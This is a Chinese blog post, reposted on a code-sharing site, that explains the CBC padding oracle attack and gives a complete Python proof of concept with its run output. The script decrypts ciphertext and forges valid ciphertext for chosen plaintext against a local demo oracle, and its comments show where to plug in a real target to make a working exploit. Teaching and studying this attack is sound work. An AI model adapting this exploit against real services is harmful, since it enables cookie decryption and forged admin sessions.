Padding Oracle Attack的一些細節與實現


Padding Oracle Attack還是頗具威力的,ASP.NET的Padding Oracle Attack被Pwnie評為2010年最佳服務端漏洞之一。還是看 Juliano Rizzo and Thai Duong 的相關Paper。

 

    另外就是padbuster這個工具也是針對padding oracle的自動化實現,而且作者寫的文章也是闡述padding oracle攻擊原理最好的一篇。雲舒還根據此篇文章寫了個學習筆記,英文不好的同學可以看看看看雲舒的中文版。因為前人已經寫得很好了,我在此就不深入講padding oracle的原理了,而是講講一些實現方面的細節。

 

    但padbuster這個工具在我看來並不好使,它與網絡耦合太緊密了,為此我自己實現了一個padding oracle的自動化工具。自己實現一遍果然是加深理解的最好方法。在現實攻擊中,只需要看懂了我的代碼,並在適當的地方做些定制化的修改即可寫出exploit,此舉也可過濾掉一些scriptkids。連續花了三天,奮戰數個小時,終於完成了這份POC代碼,想算法死了不少腦細胞。寫得過程中完全沒有參考padbuster的code,純粹是依據自己對padding oracle的理解而寫成。另外因為工作環境的原因,我的注釋是用英文寫的。

 

Padding Oracle Attack能做什么?

    padding oracle針對的是加密算法中的CBC Mode,當加密算法使用CBC Mode時,如果滿足攻擊條件,那么利用Padding Oracle能夠在不知道密鑰的情況下,解密任意密文,或者構造出任意明文的合法密文

 

    如果你不能理解這句話的話,那么想想ASP.NET 的padding oracle攻擊,能夠使得攻擊者完全解密網站的Cookie,或者是構造一個admin的Cookie,只要你知道Cookie明文的格式。

 

    需要注意的是,padding oracle針對的是CBC模式,而不是某一個加密算法,所以任何分組加密算法,只要使用了CBC模式,都會受到影響。此類加密算法包括AES、DES、3-DES、Blowfish。。。。。。

 

Padding Oracle Attack的條件

    但padding oracle不是沒有任何限制的,否則世界就亂套了。padding oracle attack的達成條件是

1. 攻擊者能夠獲得密文(ciphertext),以及密文對應的IV(初始化向量)

2. 攻擊者能夠觸發密文的解密過程,且能夠知道密文的解密結果

    對於第一點,密文是我們攻擊的目標,從cookie、敏感數據等很多地方自然可以獲得。

    密碼學里的IV,並沒有保密性的要求,所以對於使用CBC-MODE的加密算法來說,IV經常會隨着密文一起發送。常見的做法是將IV作為一個前綴,附着在密文的前面。對於CBC-MODE來說,IV的長度必須與分組的長度相等。

 

    在實施攻擊准備時,如果能夠獲知目標使用的加密算法,就能大大簡化工作。所以這里插一些很有用的“題外話”,不感興趣的朋友可以直接跳過此部分。

=============================================================  

通過密文猜測加密算法的思路

    在現實攻擊中,遇到一堆看了就眼花的密文通常有着無處下手的感覺?也許下面我講的這些思路能幫到你。

    首先,要知道在一般的互聯網應用中,要使用加密算法,有着各種各樣的限制。

    一個是性能的限制,使用性能不好的加密算法,甚至是增加key的長度,都可能會使得性能以幾何級數下降,這是架構師所無法忍受的事情。

    二是實現加密算法的第三方庫,一般來說只有一些流行加密算法有着比較穩定的第三方函數庫。

    綜合這些因素,在一般的互聯網應用中,對稱加密算法的使用離不開這么幾種算法:

        1.stream cipher(RC4、XOR之流)

        2.分組加密算法中的DES、3-DES、AES、Blowfish等,且因為性能的問題,模式選擇可能大多數是 ECB、CBC,因為CFB模式等可能導致性能消耗增加若干倍,是架構師所不願意看到的事情。

        3. 程序員自己實現的一些野雞算法(這種是最挫的,任何一本講應用密碼學的書應該都寫了一條原則:不要自己實現加密算法)。

 

    其次,幾種常見的加密算法還有一個特征,就是密文的長度。對於stream cipher來說,明文的長度和密文的長度是一樣的,密文的長度是沒有規律的,所以如果看到了奇數字節的密文,若不是密文還附加了別的東西,就幾乎可以斷定是stream cipher了。

    而分組加密算法的block size和key size都是固定的,見下表:

 

    因此我們拿到了密文后,可以通過對長度的判斷,來猜測它用的是什么加密算法。

    比如 AES 的密文,必然是16的整數倍長度,DES、3-DES等則是8的整數倍。

    加密算法加密后產生的密文,很多是不可見字符,因此在實際應用中,一般會使用編碼的形式將密文編碼起來。常見的有兩種編碼方式

    一種是base64:

       7BXXmAWWXzHDJPHvw6ybqx+RIQxwDCJP.......

    一種是將密文字符的16進制轉化為ascii碼,比如:

        907EA2E95B5A832B6EC8D5C2757C3866A202CDC7231AF5669CBD762F1B7F8A0F  (64字節)

        可能原本的密文是:

        \x90\x7E\xA2\xE9\x5B\x5A......

        所以這段密文的實際長度,應該是 64/2 = 32  字節。如果按照8字節(64 bit)分組,就是:

        907EA2E95B5A832B

        6EC8D5C2757C3866

        A202CDC7231AF566

        9CBD762F1B7F8A0F

        其中第一組很可能是IV,也可能不是,因為服務端可能沒有把IV附帶在密文中。

        如果服務端沒有將IV附帶在密文中,則IV的狀態需要在服務端維護(或者寫死在配置中),這種情況只適用於類似cookie這種情景,密文由服務端加密生成,又由服務端自己來解密,才能解得開。如果需要用到跨系統的調用,不附帶IV,接收密文的一方即便有密鑰,也是解不開密文的。

        如果按照16字節(128bit)分組,則有可能是AES加密算法:

        907EA2E95B5A832B6EC8D5C2757C3866

        A202CDC7231AF5669CBD762F1B7F8A0F        

    

    最后,如果在知道明文的情況下,還可以通過改變明文的字節,來查看密文的變化。看是變動了幾個字節,分組之間又有何關聯,從而推斷出密文使用的加密算法或是加密時選擇的模式。關於這種技巧,推薦一篇文章,在此不深入討論。 

=============================================================  

    padding oracle attack的第二個條件,也是最關鍵的一個,是能夠觸發解密過程,且能夠知道密文的解密結果。這是最為關鍵的一個條件。因為加密算法的加解密必須遵循一定的padding原則,如果padding不正確,則解密就可能不會成功。padding oracle attack就是通過驗證解密時產生的明文是否符合padding的原則,來判斷解密是否成功的

    padding的規則有很多種,在padding oracle attack中,使用的padding規則是 PKCS#5,它填充的每個字節值即為需要填充的字節數,即:

    一般來說,解密時如果發現解密出來明文的padding不正確,解密函數可能會拋出一個異常;

    如果解密出來明文的padding正確,則解密過程順利完成。但在具體應用中,根據padding oracle解密出來的明文必然不是應用程序原本想要獲得的結果,因此有可能出現一個業務上的自定義錯誤;

    padding oracle attack正是利用了這兩個錯誤之間的差異,來驗證padding是否正確。所以能夠驗證解密后的結果,是padding oracle實施的必要條件。

    在padbuster作者的文章中,他是通過服務端返回錯誤來驗證的。如果服務端解密時發現padding錯誤,會拋出一個 500的錯誤:

 

 

     而當服務端解密padding正確時,但解密出來的明文不符合業務期待,因此會拋一個200的自定義錯誤頁面:

    利用者兩者間的差異,即可驗證padding是否正確。

 

 自動化實現Padding Oracle Attack

    了解了padding oracle的原理和條件后,就可以實現我們的padding oracle代碼了。因為padding oracle的第二個條件,其本質是確認解密后的明文,是否滿足PKCS#5的padding規則,因此在POC中,我寫了一個函數驗證明文的PKCS#5 padding是否正確。

    我使用的python加密算法庫(),在padding不正確時也根本沒有拋出異常。但我們通過對解密后明文的驗證,同樣能夠完成padding oracle攻擊。

    解密函數的觸發,也是直接調用了加密算法函數進行的解密,但這並不影響我們POC padding oracle的過程。

    如要改寫為實際攻擊可用的exploit,這兩個部分是需要根據環境自己修改的。

    在具體實施解密過程時,是一個block一個block去操作的。

    Padding Oracle 還可以實現任意自定義明文的加密,返回可以解密成此明文的密文和IV。其原理主要是獲取解密過程中的一個臨時中間值。如果有多個block時,需要從最后一個block開始推導。

    不斷的從后往前推導出新的IV,也就推導出了我們想要的密文和最終需要的IV。


    代碼如下:


 

    最終的運行效果:

    使用以下測試數據:

 

 

 

  ########################################

  # you may config this part by yourself

 

  iv = '12345678'   ===》 iv,隨便自定義一個,需要和block size一樣大小,我們需要這個值

  plain = 'aaaaaaaaaaaaaaaaX'  ===》 原本的明文,17字節,因為padding后可以分成3組

  plain_want = "opaas"     ===》希望通過padding oracle,得到解密為此明文的密文

  # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2

  cipher = "blowfish"    ===》 加密算法選擇

  ########################################

 

    輸出:

 

[root@vps tmp]#python padding_oracle.py 

 

=== Padding Oracle Attack POC(CBC-MODE) ===

=== by axis ===

=== axis@ph4nt0m.org ===

=== 2011.9 ===

 

=== Generate Target Ciphertext ===

[+] plaintext is: aaaaaaaaaaaaaaaaX

[+] iv is: \x31\x32\x33\x34\x35\x36\x37\x38

[+] ciphertext is: \xd7\xe6\x5d\xc9\xd7\xbb\x49\xec\x61\xe2\x67\x7e\x1b\xba\x33\x85\x34\xfc\xcd\xe4\x9f\xaa\xe9\x72

 

=== Start Padding Oracle Decrypt ===

 

[+] Choosing Cipher: BLOWFISH

[*] Now try to decrypt block 0

[*] Block 0's ciphertext is: \xd7\xe6\x5d\xc9\xd7\xbb\x49\xec

 

[*] Try IV: \x00\x00\x00\x00\x00\x00\x00\x58

[*] Found padding oracle: \x50\x53\x52\x55\x54\x57\x56\x01

[*] Try IV: \x00\x00\x00\x00\x00\x00\x54\x5b

[*] Found padding oracle: \x50\x53\x52\x55\x54\x57\x02\x02

[*] Try IV: \x00\x00\x00\x00\x00\x54\x55\x5a

[*] Found padding oracle: \x50\x53\x52\x55\x54\x03\x03\x03

[*] Try IV: \x00\x00\x00\x00\x50\x53\x52\x5d

[*] Found padding oracle: \x50\x53\x52\x55\x04\x04\x04\x04

[*] Try IV: \x00\x00\x00\x50\x51\x52\x53\x5c

[*] Found padding oracle: \x50\x53\x52\x05\x05\x05\x05\x05

[*] Try IV: \x00\x00\x54\x53\x52\x51\x50\x5f

[*] Found padding oracle: \x50\x53\x06\x06\x06\x06\x06\x06

[*] Try IV: \x00\x54\x55\x52\x53\x50\x51\x5e

[*] Found padding oracle: \x50\x07\x07\x07\x07\x07\x07\x07

[*] Try IV: \x58\x5b\x5a\x5d\x5c\x5f\x5e\x51

[*] Found padding oracle: \x08\x08\x08\x08\x08\x08\x08\x08

 

[+] Block 0 decrypt!

[+] intermediary value is: \x50\x53\x52\x55\x54\x57\x56\x59

[+] The plaintext of block 0 is: aaaaaaaa

 

[*] Now try to decrypt block 1

[*] Block 1's ciphertext is: \x61\xe2\x67\x7e\x1b\xba\x33\x85

 

[*] Try IV: \x00\x00\x00\x00\x00\x00\x00\x8c

[*] Found padding oracle: \xb6\x87\x3c\xa8\xb6\xda\x28\x01

[*] Try IV: \x00\x00\x00\x00\x00\x00\x2a\x8f

[*] Found padding oracle: \xb6\x87\x3c\xa8\xb6\xda\x02\x02

[*] Try IV: \x00\x00\x00\x00\x00\xd9\x2b\x8e

[*] Found padding oracle: \xb6\x87\x3c\xa8\xb6\x03\x03\x03

[*] Try IV: \x00\x00\x00\x00\xb2\xde\x2c\x89

[*] Found padding oracle: \xb6\x87\x3c\xa8\x04\x04\x04\x04

[*] Try IV: \x00\x00\x00\xad\xb3\xdf\x2d\x88

[*] Found padding oracle: \xb6\x87\x3c\x05\x05\x05\x05\x05

[*] Try IV: \x00\x00\x3a\xae\xb0\xdc\x2e\x8b

[*] Found padding oracle: \xb6\x87\x06\x06\x06\x06\x06\x06

[*] Try IV: \x00\x80\x3b\xaf\xb1\xdd\x2f\x8a

[*] Found padding oracle: \xb6\x07\x07\x07\x07\x07\x07\x07

[*] Try IV: \xbe\x8f\x34\xa0\xbe\xd2\x20\x85

[*] Found padding oracle: \x08\x08\x08\x08\x08\x08\x08\x08

 

[+] Block 1 decrypt!

[+] intermediary value is: \xb6\x87\x3c\xa8\xb6\xda\x28\x8d

[+] The plaintext of block 1 is: aaaaaaaa

 

[*] Now try to decrypt block 2

[*] Block 2's ciphertext is: \x34\xfc\xcd\xe4\x9f\xaa\xe9\x72

 

[*] Try IV: \x00\x00\x00\x00\x00\x00\x00\x83

[*] Found padding oracle: \x39\xe5\x60\x79\x1c\xbd\x34\x01

[*] Try IV: \x00\x00\x00\x00\x00\x00\x36\x80

[*] Found padding oracle: \x39\xe5\x60\x79\x1c\xbd\x02\x02

[*] Try IV: \x00\x00\x00\x00\x00\xbe\x37\x81

[*] Found padding oracle: \x39\xe5\x60\x79\x1c\x03\x03\x03

[*] Try IV: \x00\x00\x00\x00\x18\xb9\x30\x86

[*] Found padding oracle: \x39\xe5\x60\x79\x04\x04\x04\x04

[*] Try IV: \x00\x00\x00\x7c\x19\xb8\x31\x87

[*] Found padding oracle: \x39\xe5\x60\x05\x05\x05\x05\x05

[*] Try IV: \x00\x00\x66\x7f\x1a\xbb\x32\x84

[*] Found padding oracle: \x39\xe5\x06\x06\x06\x06\x06\x06

[*] Try IV: \x00\xe2\x67\x7e\x1b\xba\x33\x85

[*] Found padding oracle: \x39\x07\x07\x07\x07\x07\x07\x07

[*] Try IV: \x31\xed\x68\x71\x14\xb5\x3c\x8a

[*] Found padding oracle: \x08\x08\x08\x08\x08\x08\x08\x08

 

[+] Block 2 decrypt!

[+] intermediary value is: \x39\xe5\x60\x79\x1c\xbd\x34\x82

[+] The plaintext of block 2 is: X

 

[+] Guess intermediary value is: \x50\x53\x52\x55\x54\x57\x56\x59\xb6\x87\x3c\xa8\xb6\xda\x28\x8d\x39\xe5\x60\x79\x1c\xbd\x34\x82

[+] plaintext = intermediary_value XOR original_IV

[+] Guess plaintext is: aaaaaaaaaaaaaaaaX

 

=== Start Padding Oracle Encrypt ===

[+] plaintext want to encrypt is: opaas

[+] Choosing Cipher: BLOWFISH

[*] After padding, plaintext becomes to: \x6f\x70\x61\x61\x73\x03\x03\x03

 

[+] Encrypt Success!

[+] The ciphertext you want is: \x34\xfc\xcd\xe4\x9f\xaa\xe9\x72

[+] IV is: \x56\x95\x01\x18\x6f\xbe\x37\x81

 

=== Let's verify the custom encrypt result ===

[+] Decrypt of ciphertext '\x34\xfc\xcd\xe4\x9f\xaa\xe9\x72' is:

opaas

[+] Bingo!

[root@vps tmp]#

 

   

 padding_oracle.py的源代碼:

 

"""

    Padding Oracle Attack POC(CBC-MODE)

    Author: axis(axis@ph4nt0m.org)

    http://hi.baidu.com/aullik5

    2011.9

 

    This program is based on Juliano Rizzo and Thai Duong's talk on 

    Practical Padding Oracle Attack.(http://netifera.com/research/)

 

    For Education Purpose Only!!!

 

    This program is free software: you can redistribute it and/or modify

    it under the terms of the GNU General Public License as published by

    the Free Software Foundation, either version 3 of the License, or

    (at your option) any later version.

 

    This program is distributed in the hope that it will be useful,

    but WITHOUT ANY WARRANTY; without even the implied warranty of

    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

    GNU General Public License for more details.

 

    You should have received a copy of the GNU General Public License

    along with this program.  If not, see <http://www.gnu.org/licenses/>.

"""

 

import sys

 

# https://www.dlitz.net/software/pycrypto/

from Crypto.Cipher import *

import binascii

 

# the key for encrypt/decrypt

# we demo the poc here, so we need the key

# in real attack, you can trigger encrypt/decrypt in a complete blackbox env

ENCKEY = 'abcdefgh'

 

def main(args):

  print 

  print "=== Padding Oracle Attack POC(CBC-MODE) ==="

  print "=== by axis ==="

  print "=== axis@ph4nt0m.org ==="

  print "=== 2011.9 ==="

  print 

 

  ########################################

  # you may config this part by yourself

  iv = '12345678'

  plain = 'aaaaaaaaaaaaaaaaX'

  plain_want = "opaas"

 

  # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 

  cipher = "blowfish"

  ########################################

 

  block_size = 8

  if cipher.lower() == "aes":

    block_size = 16

 

  if len(iv) != block_size:

    print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"

    return False

 

  print "=== Generate Target Ciphertext ==="

 

  ciphertext = encrypt(plain, iv, cipher)

  if not ciphertext:

    print "[-] Encrypt Error!"

    return False

 

  print "[+] plaintext is: "+plain

  print "[+] iv is: "+hex_s(iv)

  print "[+] ciphertext is: "+ hex_s(ciphertext)

  print

 

  print "=== Start Padding Oracle Decrypt ==="

  print

  print "[+] Choosing Cipher: "+cipher.upper()

 

  guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)

 

  if guess:

    print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])

    print "[+] plaintext = intermediary_value XOR original_IV"

    print "[+] Guess plaintext is: "+guess["plaintext"]

    print

 

    if plain_want:

      print "=== Start Padding Oracle Encrypt ==="

      print "[+] plaintext want to encrypt is: "+plain_want

      print "[+] Choosing Cipher: "+cipher.upper()

 

      en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)

 

      if en:

        print "[+] Encrypt Success!"

        print "[+] The ciphertext you want is: "+hex_s(en[block_size:])

        print "[+] IV is: "+hex_s(en[:block_size])

        print

       

        print "=== Let's verify the custom encrypt result ==="

        print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"

        de = decrypt(en[block_size:], en[:block_size], cipher)

        if de == add_PKCS5_padding(plain_want, block_size):

          print de

          print "[+] Bingo!"

        else:

          print "[-] It seems something wrong happened!"

          return False

 

    return True

  else:

    return False

 

 

def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):

  # the last block

  guess_cipher = ciphertext[0-block_size:] 

 

  plaintext = add_PKCS5_padding(plaintext, block_size)

  print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)

  print

 

  block = len(plaintext)

  iv_nouse = iv # no use here, in fact we only need intermediary

  prev_cipher = ciphertext[0-block_size:] # init with the last cipher block

  while block > 0:

    # we need the intermediary value

    tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False)

 

    # calculate the iv, the iv is the ciphertext of the previous block

    prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )

 

    #save result

    guess_cipher = prev_cipher + guess_cipher

 

    block = block - block_size

 

  return guess_cipher  

 

 

def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):

  # split cipher into blocks; we will manipulate ciphertext block by block

  cipher_block = split_cipher_block(ciphertext, block_size)

 

  if cipher_block:

    result = {}

    result["intermediary"] = ''

    result["plaintext"] = ''

 

    counter = 0

    for c in cipher_block:

      if debug:

        print "[*] Now try to decrypt block "+str(counter)

        print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)

        print

      # padding oracle to each block

      guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)

 

      if guess:

        iv = c

        result["intermediary"] += guess["intermediary"]

        result["plaintext"] += guess["plaintext"]

        if debug:

          print

          print "[+] Block "+str(counter)+" decrypt!"

          print "[+] intermediary value is: "+hex_s(guess["intermediary"])

          print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]

          print

        counter = counter+1

      else:

        print "[-] padding oracle decrypt error!"

        return False

 

    return result

  else:

    print "[-] ciphertext's block_size is incorrect!"    

    return False

 

def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):

  result = {}

  plain = ''

  intermediary = []  # list to save intermediary

  iv_p = [] # list to save the iv we found

 

  for i in range(1, block_size+1):

    iv_try = []

    iv_p = change_iv(iv_p, intermediary, i)

 

    # construct iv

    # iv = \x00...(several 0 bytes) + \x0e(the bruteforce byte) + \xdc...(the iv bytes we found)

    for k in range(0, block_size-i):

      iv_try.append("\x00")

 

    # bruteforce iv byte for padding oracle

    # 1 bytes to bruteforce, then append the rest bytes

    iv_try.append("\x00")

 

    for b in range(0,256):

      iv_tmp = iv_try

      iv_tmp[len(iv_tmp)-1] = chr(b)

    

      iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)

 

      # append the result of iv, we've just calculate it, saved in iv_p

      for p in range(0,len(iv_p)):

        iv_tmp_s += iv_p[len(iv_p)-1-p]

      

      # in real attack, you have to replace this part to trigger the decrypt program

      #print hex_s(iv_tmp_s) # for debug

      plain = decrypt(ciphertext, iv_tmp_s, cipher)

      #print hex_s(plain) # for debug

 

      # got it!

      # in real attack, you have to replace this part to the padding error judgement

      if check_PKCS5_padding(plain, i):

        if debug:

          print "[*] Try IV: "+hex_s(iv_tmp_s)

          print "[*] Found padding oracle: " + hex_s(plain)

        iv_p.append(chr(b))

        intermediary.append(chr(b ^ i))

        

        break

 

  plain = ''

  for ch in range(0, len(intermediary)):

    plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )

    

  result["plaintext"] = plain

  result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]

  return result

 

# save the iv bytes found by padding oracle into a list

def change_iv(iv_p, intermediary, p):

  for i in range(0, len(iv_p)):

    iv_p[i] = chr( ord(intermediary[i]) ^ p)

  return iv_p  

 

def split_cipher_block(ciphertext, block_size=8):

  if len(ciphertext) % block_size != 0:

    return False

 

  result = []

  length = 0

  while length < len(ciphertext):

    result.append(ciphertext[length:length+block_size])

    length += block_size

 

  return result

 

 

def check_PKCS5_padding(plain, p):

  if len(plain) % 8 != 0:

    return False

 

  # convert the string

  plain = plain[::-1]

  ch = 0

  found = 0

  while ch < p:

    if plain[ch] == chr(p):

      found += 1

    ch += 1 

 

  if found == p:

    return True

  else:

    return False

 

def add_PKCS5_padding(plaintext, block_size):

  s = ''

  if len(plaintext) % block_size == 0:

    return plaintext

 

  if len(plaintext) < block_size:

    padding = block_size - len(plaintext)

  else:

    padding = block_size - (len(plaintext) % block_size)

  

  for i in range(0, padding):

    plaintext += chr(padding)

 

  return plaintext

 

def decrypt(ciphertext, iv, cipher):

  # we only need the padding error itself, not the key

  # you may gain padding error info in other ways

  # in real attack, you may trigger decrypt program

  # a complete blackbox environment

  key = ENCKEY

 

  if cipher.lower() == "des":

    o = DES.new(key, DES.MODE_CBC,iv)

  elif cipher.lower() == "aes":

    o = AES.new(key, AES.MODE_CBC,iv)

  elif cipher.lower() == "des3":

    o = DES3.new(key, DES3.MODE_CBC,iv)

  elif cipher.lower() == "blowfish":

    o = Blowfish.new(key, Blowfish.MODE_CBC,iv)

  elif cipher.lower() == "cast":

    o = CAST.new(key, CAST.MODE_CBC,iv)

  elif cipher.lower() == "arc2":

    o = ARC2.new(key, ARC2.MODE_CBC,iv)

  else:

    return False

 

  if len(iv) % 8 != 0:

    return False

 

  if len(ciphertext) % 8 != 0:

    return False

 

  return o.decrypt(ciphertext)

 

 

def encrypt(plaintext, iv, cipher):

  key = ENCKEY

 

  if cipher.lower() == "des":

    if len(key) != 8:

      print "[-] DES key must be 8 bytes long!"

      return False

    o = DES.new(key, DES.MODE_CBC,iv)

  elif cipher.lower() == "aes":

    if len(key) != 16 and len(key) != 24 and len(key) != 32:

      print "[-] AES key must be 16/24/32 bytes long!"

      return False

    o = AES.new(key, AES.MODE_CBC,iv)

  elif cipher.lower() == "des3":

    if len(key) != 16:

      print "[-] Triple DES key must be 16 bytes long!"

      return False

    o = DES3.new(key, DES3.MODE_CBC,iv)

  elif cipher.lower() == "blowfish":

    o = Blowfish.new(key, Blowfish.MODE_CBC,iv)

  elif cipher.lower() == "cast":

    o = CAST.new(key, CAST.MODE_CBC,iv)

  elif cipher.lower() == "arc2":

    o = ARC2.new(key, ARC2.MODE_CBC,iv)

  else:

    return False

 

  plaintext = add_PKCS5_padding(plaintext, len(iv))  

 

  return o.encrypt(plaintext)

 

def xor_str(a,b):

  if len(a) != len(b):

    return False

 

  c = ''

  for i in range(0, len(a)):

    c += chr( ord(a[i]) ^ ord(b[i]) )

 

  return c

 

def hex_s(str):

  re = ''

  for i in range(0,len(str)):

    re += "\\x"+binascii.b2a_hex(str[i])

  return re

 

if __name__ == "__main__":

        main(sys.argv)

 

 摘自:大風起兮雲飛揚


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM